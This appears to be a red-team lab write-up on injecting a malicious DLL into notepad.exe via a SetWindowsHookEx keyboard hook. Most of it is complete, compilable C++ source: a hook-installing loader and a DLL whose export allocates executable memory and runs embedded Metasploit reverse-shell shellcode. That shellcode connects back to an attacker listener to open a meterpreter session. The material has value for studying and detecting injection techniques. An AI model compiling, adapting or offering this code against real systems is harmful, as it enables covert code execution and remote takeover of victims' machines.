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SetWindowHookEx Code Injection
Windows allow programs to install hooks to monitor various system events such as mouse clicks and keyboard key presses by using
SetWindowHookEx.In this lab
SetWindowHookEx is used to inject a malicious DLL into notepad.exe, which then executes meterpreter shellcode.The workflow of the technique is as follows:
- 1.Create a malicious DLL that exports one function, which when invoked, executes meterpreter shellcode
- 2.Create another program that loads the malicious binary by:
- 1.Resolving address of the exported function
- 2.Installing a keyboard hook. The hook is then pointed to the exported function
- 3.Notepad.exe is launched by the victim and a keypress is registered
- 4.Since keyboard events are hooked, notepad.exe loads in our malicious dll and invokes the exported function
- 5.Metepreter session is established on the attacking system
Let's create a DLL with an export a function
spotlessExport that executes meterpreter shellcode when invoked:
Compile the DLL and check if the export was successful. We can use
dumpbin.exe to do this, but first we need to find it (if we have Visual Studio installed):cmd /c dir /s/b c:\dumpbin*
Then use it like so to dump the exported functions:
dumpbin.exe dllhook.dll /exports
Below shows the output of exported functions for
dllhook.dll as presented by CFF Explorer (left) and dumpin:
Below shows the technique in action:
- Process Explorer (top right) with notepad (bottom right) selected
- In the middle - the code that installs the hook to all threads that are in the same desktop as the calling thread
- Attacking system with multi-handler on the left - ready to catch the meterpreter
- Once the hook is installed and a key is pressed in when notepad is in focus,
dllhook.dllis loaded intonotepad.exeprocess and our malicious exported functionexportedSpotlessis executed, which in turn results in a meterpreter shell
Both
hooks.cpp and dllhook.cpp are provided below:hooks.cpp
dllhook.cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
int main()
{
HMODULE library = LoadLibraryA("dllhook.dll");
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
Sleep(10*1000);
UnhookWindowsHookEx(hook);
return 0;
}
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) int spotlessExport() {
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}